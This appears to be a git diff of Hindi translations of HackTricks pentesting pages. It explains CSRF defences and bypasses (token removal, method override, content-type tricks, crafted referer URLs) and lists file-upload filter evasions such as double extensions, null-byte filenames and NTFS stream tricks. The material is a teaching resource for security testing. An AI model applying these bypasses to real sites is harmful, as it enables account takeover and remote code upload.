* स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि, दूसरी बार, यह मानते हुए कि एक्सटेंशन को अपडेट नहीं किया गया है, परिणामों के कैश होने के कारण लगभग तात्कालिक होगा।
* एक्सटेंशन का एक सुंदर संस्करण डाउनलोड करें (स्वचालित रूप से प्रेटिफाइड HTML और जावास्क्रिप्ट)।
* स्कैन परिणामों का स्वचालित कैशिंग, एक एक्सटेंशन स्कैन चलाने में पहले बार में अच्छा समय लगेगा। हालाँकि दूसरी बार, यदि एक्सटेंशन को अपडेट नहीं किया गया है, तो परिणाम कैश किए जाने के कारण लगभग तात्कालिक होगा।
* लिंक करने योग्य रिपोर्ट URLs, किसी और को tarnish द्वारा उत्पन्न एक्सटेंशन रिपोर्ट से आसानी से लिंक करें।
### [Neto](https://github.com/elevenpaths/neto)
प्रोजेक्ट Neto एक Python 3 पैकेज है जिसे फ़ायरफ़ॉक्स और क्रोम जैसे प्रसिद्ध ब्राउज़रों के लिए ब्राउज़र प्लगइन्स और एक्सटेंशनों की छिपी हुई विशेषताओं का विश्लेषण और अनावरण करने के लिए तैयार किया गया है। यह पैकेज की गई फ़ाइलों को अनज़िप करने की प्रक्रिया को स्वचालित करता है ताकि इन विशेषताओं को एक्सटेंशन में प्रासंगिक संसाधनों जैसे `manifest.json`, स्थानीयकरण फ़ोल्डरों या जावास्क्रिप्ट और HTML स्रोत फ़ाइलों से निकाला जा सके।
प्रोजेक्ट Neto एक Python 3 पैकेज है जिसे फ़ायरफ़ॉक्स और क्रोम जैसे प्रसिद्ध ब्राउज़रों के लिए ब्राउज़र प्लगइन्स और एक्सटेंशनों की छिपी हुई विशेषताओं का विश्लेषण और अनावरण करने के लिए तैयार किया गया है। यह पैकेज किए गए फ़ाइलों को अनज़िप करने की प्रक्रिया को स्वचालित करता है ताकि `manifest.json`, स्थानीयकरण फ़ोल्डरों या जावास्क्रिप्ट और HTML स्रोत फ़ाइलों में प्रासंगिक संसाधनों से इन विशेषताओं को निकाला जा सके।
## संदर्भ

View file

@ -1,8 +1,8 @@
# CSRF (क्रॉस साइट अनुरोध धोखाधड़ी)
# CSRF (Cross Site Request Forgery)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -30,11 +30,11 @@ Stay informed with the newest bug bounties launching and crucial platform update
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) समझाया गया
## Cross-Site Request Forgery (CSRF) Explained
**क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF)** एक प्रकार की सुरक्षा कमजोरी है जो वेब अनुप्रयोगों में पाई जाती है। यह हमलावरों को अनजान उपयोगकर्ताओं की ओर से कार्य करने की अनुमति देती है, उनके प्रमाणित सत्रों का लाभ उठाकर। यह हमला तब होता है जब एक उपयोगकर्ता, जो किसी पीड़ित के प्लेटफॉर्म में लॉग इन है, एक दुर्भावनापूर्ण साइट पर जाता है। यह साइट फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर करती है, जैसे कि जावास्क्रिप्ट निष्पादित करना, फॉर्म सबमिट करना, या छवियों को लाना।
**Cross-Site Request Forgery (CSRF)** एक प्रकार की सुरक्षा कमजोरी है जो वेब अनुप्रयोगों में पाई जाती है। यह हमलावरों को अनजान उपयोगकर्ताओं की ओर से कार्य करने की अनुमति देती है, उनके प्रमाणित सत्रों का लाभ उठाकर। यह हमला तब होता है जब एक उपयोगकर्ता, जो किसी पीड़ित के प्लेटफॉर्म में लॉग इन है, एक दुर्भावनापूर्ण साइट पर जाता है। यह साइट फिर पीड़ित के खाते के लिए अनुरोधों को ट्रिगर करती है, जैसे कि जावास्क्रिप्ट को निष्पादित करना, फॉर्म सबमिट करना, या छवियों को लाना।
### CSRF हमले के लिए पूर्वापेक्षाएँ
### Prerequisites for a CSRF Attack
CSRF कमजोरी का लाभ उठाने के लिए, कई शर्तें पूरी होनी चाहिए:
@ -42,42 +42,42 @@ CSRF कमजोरी का लाभ उठाने के लिए, क
2. **सत्र प्रबंधन**: उपयोगकर्ता का सत्र केवल कुकीज़ या HTTP बेसिक प्रमाणीकरण हेडर के माध्यम से प्रबंधित किया जाना चाहिए, क्योंकि अन्य हेडर का इस उद्देश्य के लिए हेरफेर नहीं किया जा सकता।
3. **अनपेक्षित पैरामीटर का अभाव**: अनुरोध में अनपेक्षित पैरामीटर नहीं होने चाहिए, क्योंकि वे हमले को रोक सकते हैं।
### त्वरित जांच
### Quick Check
आप **Burp में अनुरोध कैप्चर** कर सकते हैं और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप **Copy as fetch** पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
आप **Burp में अनुरोध को कैप्चर** कर सकते हैं और CSRF सुरक्षा की जांच कर सकते हैं और ब्राउज़र से परीक्षण करने के लिए आप **Copy as fetch** पर क्लिक कर सकते हैं और अनुरोध की जांच कर सकते हैं:
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### CSRF के खिलाफ रक्षा
### Defending Against CSRF
CSRF हमलों से बचाने के लिए कई प्रतिकृतियाँ लागू की जा सकती हैं:
CSRF हमलों से बचाने के लिए कई प्रतिकूल उपाय लागू किए जा सकते हैं:
* [**SameSite कुकीज़**](hacking-with-cookies/#samesite): यह विशेषता ब्राउज़र को क्रॉस-साइट अनुरोधों के साथ कुकीज़ भेजने से रोकती है। [SameSite कुकीज़ के बारे में अधिक](hacking-with-cookies/#samesite)।
* [**क्रॉस-उत्पत्ति संसाधन साझा करना**](cors-bypass.md): पीड़ित साइट की CORS नीति हमले की व्यवहार्यता को प्रभावित कर सकती है, विशेष रूप से यदि हमले को पीड़ित साइट से प्रतिक्रिया पढ़ने की आवश्यकता हो। [CORS बायपास के बारे में जानें](cors-bypass.md)।
* [**SameSite कुकीज़**](hacking-with-cookies/#samesite): यह विशेषता ब्राउज़र को क्रॉस-साइट अनुरोधों के साथ कुकीज़ भेजने से रोकती है। [SameSite कुकीज़ के बारे में अधिक जानें](hacking-with-cookies/#samesite)।
* [**क्रॉस-ओरिजिन रिसोर्स शेयरिंग**](cors-bypass.md): पीड़ित साइट की CORS नीति हमले की व्यवहार्यता को प्रभावित कर सकती है, विशेष रूप से यदि हमले को पीड़ित साइट से प्रतिक्रिया पढ़ने की आवश्यकता हो। [CORS बायपास के बारे में जानें](cors-bypass.md)।
* **उपयोगकर्ता सत्यापन**: उपयोगकर्ता का पासवर्ड मांगना या कैप्चा हल करना उपयोगकर्ता की मंशा की पुष्टि कर सकता है।
* **रेफरर या मूल हेडर की जांच करना**: इन हेडरों को मान्य करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालाँकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे:
* **रेफरर या ओरिजिन हेडर की जांच करना**: इन हेडरों को मान्य करना यह सुनिश्चित करने में मदद कर सकता है कि अनुरोध विश्वसनीय स्रोतों से आ रहे हैं। हालाँकि, URLs को सावधानीपूर्वक तैयार करने से खराब तरीके से लागू की गई जांचों को बायपास किया जा सकता है, जैसे:
* `http://mal.net?orig=http://example.com` का उपयोग करना (URL विश्वसनीय URL के साथ समाप्त होता है)
* `http://example.com.mal.net` का उपयोग करना (URL विश्वसनीय URL के साथ शुरू होता है)
* **पैरामीटर नामों में परिवर्तन**: POST या GET अनुरोधों में पैरामीटर के नामों को बदलना स्वचालित हमलों को रोकने में मदद कर सकता है।
* **CSRF टोकन**: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन को शामिल करना और बाद के अनुरोधों में इस टोकन की आवश्यकता करना CSRF के जोखिम को काफी कम कर सकता है। टोकन की प्रभावशीलता को CORS को लागू करके बढ़ाया जा सकता है।
* **CSRF टोकन**: प्रत्येक सत्र में एक अद्वितीय CSRF टोकन को शामिल करना और इस टोकन की आवश्यकता को अगले अनुोधों में रखना CSRF के जोखिम को काफी कम कर सकता है। टोकन की प्रभावशीलता को CORS को लागू करके बढ़ाया जा सकता है।
इन रक्षा उपायों को समझना और लागू करना वेब अनुप्रयोगों की सुरक्षा और अखंडता बनाए रखने के लिए महत्वपूर्ण है।
इन सुरक्षा उपायों को समझना और लागू करना वेब अनुप्रयोगों की सुरक्षा और अखंडता बनाए रखने के लिए महत्वपूर्ण है।
## रक्षा बायपास
## Defences Bypass
### POST से GET
### From POST to GET
शायद जिस फॉर्म का आप दुरुपयोग करना चाहते हैं वह **CSRF टोकन के साथ POST अनुरोध भेजने के लिए तैयार है**, लेकिन आपको **जांचना चाहिए** कि क्या एक **GET** भी **मान्य** है और यदि जब आप GET अनुरोध भेजते हैं तो **CSRF टोकन अभी भी मान्य किया जा रहा है**।
शायद जिस फॉर्म का आप दुरुपयोग करना चाहते हैं वह **CSRF टोकन के साथ POST अनुरोध भेजने के लिए तैयार है**, लेकिन आपको **जांचना चाहिए** कि क्या एक **GET** भी **मान्य** है और यदि जब आप GET अनुरोध भेजते हैं तो **CSRF टोकन अभी भी मान्य है**।
### टोकन की कमी
### Lack of token
अनुप्रयोग एक तंत्र को लागू कर सकते हैं ताकि **टोकन को मान्य किया जा सके** जब वे मौजूद हों। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर **टोकन ले जाने वाले पैरामीटर को हटा कर** लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) हमला करने की अनुमति मिलती है।
अनुप्रयोग एक तंत्र को लागू कर सकते हैं ताकि **टोकन की वैधता** की जांच की जा सके जब वे मौजूद हों। हालाँकि, एक कमजोरी तब उत्पन्न होती है जब टोकन के अनुपस्थित होने पर मान्यता पूरी तरह से छोड़ दी जाती है। हमलावर इस पर **टोकन ले जाने वाले पैरामीटर को हटा कर** लाभ उठा सकते हैं, न कि केवल इसके मान को। इससे उन्हें मान्यता प्रक्रिया को बायपास करने और प्रभावी रूप से एक क्रॉस-साइट अनुरोध धोखाधड़ी (CSRF) हमला करने की अनुमति मिलती है।
### CSRF टोकन उपयोगकर्ता सत्र से बंधा नहीं है
### CSRF token is not tied to the user session
अनुप्रयोग **CSRF टोकन को उपयोगकर्ता सत्रों से नहीं बांधने** पर एक महत्वपूर्ण **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम टोकनों को एक **वैश्विक पूल** के खिलाफ मान्य करते हैं, बजाय इसके कि प्रत्येक टोकन को आरंभिक सत्र से बंधा होना सुनिश्चित किया जाए।
अनुप्रयोग **CSRF टोकनों को उपयोगकर्ता सत्रों से नहीं जोड़ने** पर एक महत्वपूर्ण **सुरक्षा जोखिम** प्रस्तुत करते हैं। ये सिस्टम टोकनों को एक **वैश्विक पूल** के खिलाफ मान्य करते हैं, बजाय इसके कि प्रत्येक टोकन को आरंभिक सत्र से बंधा हुआ सुनिश्चित किया जाए।
हमलावर इस तरह से इसका लाभ उठाते हैं:
हमलावर इस तरह से लाभ उठाते हैं:
1. **अपने खाते का उपयोग करके प्रमाणीकरण करें**
2. **वैध CSRF टोकन प्राप्त करें** वैश्विक पूल से।
@ -85,7 +85,7 @@ CSRF हमलों से बचाने के लिए कई प्रत
यह कमजोरी हमलावरों को पीड़ित की ओर से अनधिकृत अनुरोध करने की अनुमति देती है, अनुप्रयोग की **अपर्याप्त टोकन मान्यता तंत्र** का लाभ उठाते हुए।
### विधि बायपास
### Method bypass
यदि अनुरोध एक "**अजीब**" **विधि** का उपयोग कर रहा है, तो जांचें कि क्या **विधि** **ओवरराइड कार्यक्षमता** काम कर रही है। उदाहरण के लिए, यदि यह **PUT** विधि का उपयोग कर रहा है, तो आप **POST** विधि का उपयोग करने का प्रयास कर सकते हैं और **भेजें**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
@ -95,18 +95,18 @@ CSRF हमलों से बचाने के लिए कई प्रत
* _X-HTTP-Method-Override_
* _X-Method-Override_
### कस्टम हेडर टोकन बायपास
### Custom header token bypass
यदि अनुरोध एक **कस्टम हेडर** के साथ एक **टोकन** को अनुरोध में जोड़ रहा है जैसे कि **CSRF सुरक्षा विधि**, तो:
यदि अनुरोध एक **कस्टम हेडर** के साथ एक **टोकन** जोड़ रहा है जिसे **CSRF सुरक्षा विधि** के रूप में उपयोग किया जा रहा है, तो:
* **कस्टमाइज्ड टोकन और हेडर के बिना अनुरोध का परीक्षण करें।**
* **समान लंबाई लेकिन अलग टोकन के साथ अनुरोध का परीक्षण करें।**
* **सटीक समान लंबाई लेकिन अलग टोकन के साथ अनुरोध का परीक्षण करें।**
### CSRF टोकन एक कुकी द्वारा मान्य किया गया है
### CSRF token is verified by a cookie
अनुप्रयोग CSRF सुरक्षा को टोकन को एक कुकी और एक अनुरोध पैरामीटर में दोहराकर या एक CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करता है यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है।
अनुप्रयोग CSRF सुरक्षा को टोकन को कुकी और अनुरोध पैरामीटर दोनों में डुप्लिकेट करके या एक CSRF कुकी सेट करके और यह सत्यापित करके लागू कर सकते हैं कि बैकएंड में भेजा गया टोकन कुकी के अनुरूप है। अनुप्रयोग अनुरोधों को मान्य करता है यह जांचकर कि क्या अनुरोध पैरामीटर में टोकन कुकी में मान के साथ मेल खाता है।
हालांकि, यदि वेबसाइट में ऐसी खामियाँ हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देत हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इसका लाभ उठाकर एक धोखाधड़ी छवि लोड कर सकता है जो कुकी सेट करती है, इसके बाद CSRF हमले को शुरू कर सकता है।
हालांकि, यदि वेबसाइट में ऐसे दोष हैं जो हमलावर को पीड़ित के ब्राउज़र में CSRF कुकी सेट करने की अनुमति देत हैं, जैसे कि CRLF कमजोरी, तो यह विधि CSRF हमलों के प्रति संवेदनशील है। हमलावर इस पर लाभ उठा सकते हैं एक धोखाधड़ी छवि लोड करके जो कुकी सेट करती है, इसके बाद CSRF हमले को शुरू करती है।
नीचे एक उदाहरण है कि एक हमला कैसे संरचित किया जा सकता है:
```html
@ -136,7 +136,7 @@ CSRF हमलों से बचाने के लिए कई प्रत
* **`multipart/form-data`**
* **`text/plain`**
हालांकि, ध्यान दें कि **सर्वर की लॉजिक भिन्न हो सकती है** उपयोग किए गए **Content-Type** के आधार पर, इसलिए आपको उल्लेखित मानों और अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ का प्रयास करना चाहिए।
हालांकि, ध्यान दें कि **सर्वर की लॉजिक भिन्न हो सकती है** जो **Content-Type** के उपयोग पर निर्भर करती है, इसलिए आपको उल्लेखित मानों और अन्य जैसे **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ को आजमाना चाहिए।
उदाहरण ( [यहां](https://brycec.me/posts/corctf\_2021\_challenges) से) JSON डेटा को text/plain के रूप में भेजने का:
```html
@ -155,7 +155,7 @@ form.submit();
जब POST अनुरोध के माध्यम से JSON डेटा भेजने का प्रयास किया जाता है, तो HTML फॉर्म में `Content-Type: application/json` का उपयोग सीधे संभव नहीं है। इसी तरह, इस सामग्री प्रकार को भेजने के लिए `XMLHttpRequest` का उपयोग करने से एक प्रीफ्लाइट अनुरोध शुरू होता है। फिर भी, इस सीमा को बायपास करने और यह जांचने के लिए रणनीतियाँ हैं कि क्या सर्वर सामग्री प्रकार की परवाह किए बिना JSON डेटा को संसाधित करता है:
1. **वैकल्पिक सामग्री प्रकार का उपयोग करें**: फॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह दृष्टिकोण यह परीक्षण करता है कि क्या बैकएंड सामग्री प्रकार की परवाह किए बिना डेटा का उपयोग करता है।
1. **वैकल्पिक सामग्री प्रकार का उपयोग करें**: फॉर्म में `enctype="text/plain"` सेट करके `Content-Type: text/plain` या `Content-Type: application/x-www-form-urlencoded` का उपयोग करें। यह दृष्टिकोण परीक्षण करता है कि क्या बैकएंड डेटा का उपयोग करता है चाहे सामग्री प्रकार कुछ भी हो
2. **सामग्री प्रकार को संशोधित करें**: प्रीफ्लाइट अनुरोध से बचने के लिए जबकि यह सुनिश्चित करते हुए कि सर्वर सामग्री को JSON के रूप में पहचानता है, आप डेटा को `Content-Type: text/plain; application/json` के साथ भेज सकते हैं। यह प्रीफ्लाइट अनुरोध को ट्रिगर नहीं करता है लेकिन यदि सर्वर को `application/json` स्वीकार करने के लिए कॉन्फ़िगर किया गया है तो इसे सही ढंग से संसाधित किया जा सकता है।
3. **SWF फ्लैश फ़ाइल का उपयोग**: एक कम सामान्य लेकिन संभव विधि में ऐसे प्रतिबंधों को बायपास करने के लिए SWF फ्लैश फ़ाइल का उपयोग करना शामिल है। इस तकनीक की गहन समझ के लिए, [इस पोस्ट](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) को देखें।
@ -589,7 +589,7 @@ login(USER, line.strip())
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाल सामग्री के साथ जुड़ें
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाल सामग्री के साथ जुड़ें
**Real-Time Hack News**\
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से अद्यतित रहें
@ -600,8 +600,8 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# फ़ाइल अपलोड
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,9 +15,9 @@
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)
{% embed url="https://www.stmcyber.com/careers" %}
@ -37,7 +37,7 @@
### फ़ाइल एक्सटेंशन जांच को बायपास करें
1. यदि लागू हो, तो **पिछले एक्सटेंशन** की **जांच** करें। कुछ **बड़े अक्षरों** का उपयोग करके भी परीक्षण करें: _pHp, .pHP5, .PhAr ..._
2. _**कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें** (पिछले एक्सटेंशन का भी उपयोग करें):_
2. _**कार्यकारी एक्सटेंशन से पहले** एक मान्य एक्सटेंशन जोड़ने की जांच करें (पिछले एक्सटेंशन का भी उपयोग करें):_
* _file.png.php_
* _file.png.Php5_
3. **अंत में विशेष वर्ण जोड़ने का प्रयास करें।** आप सभी **ascii** और **Unicode** वर्णों को **bruteforce** करने के लिए Burp का उपयोग कर सकते हैं। (_ध्यान दें कि आप **पिछले** उल्लेखित **एक्सटेंशन** का उपयोग करने का प्रयास भी कर सकते हैं_)
@ -50,7 +50,7 @@
* _file._
* _file.php...._
* _file.pHp5...._
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशन के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशन** का भी उपयोग कर सकते हैं._
4. **सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें** जैसे कि **एक्सटेंशन को डबल करना** या **जंक** डेटा (**null** बाइट्स) को एक्सटेंशन के बीच जोड़ना। _आप बेहतर पेलोड तैयार करने के लिए **पिछले एक्सटेंशन** का भी उपयोग कर सकते हैं_
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
@ -59,18 +59,18 @@
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. पिछले चेक में **एक और परत के एक्सटेंशन** जोड़ें:
5. पिछले जांच के लिए **एक और परत एक्सटेंशनों** को जोड़ें:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां किसी भी एक्सटेंशन** _**.php**_**, लेकिन** जरूरी नहीं कि .php** पर समाप्त हो, कोड निष्पादित करेगा):
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है, लेकिन कोड निष्पादित करेगा):
* _उदाहरण: file.php.png_
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करना। इस मामले में, एक कॉलन वर्ण “:” एक प्रतिबंधित एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **प्रतिबंधित एक्सटेंशन** के साथ एक **खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP बच जाता है। AAA<--SNIP-->AAA.php
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कॉलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
```
# Linux अधिकतम 255 बाइट
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
@ -82,15 +82,15 @@ AAA<--SNIP 232 A-->AAA.php.png
* **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
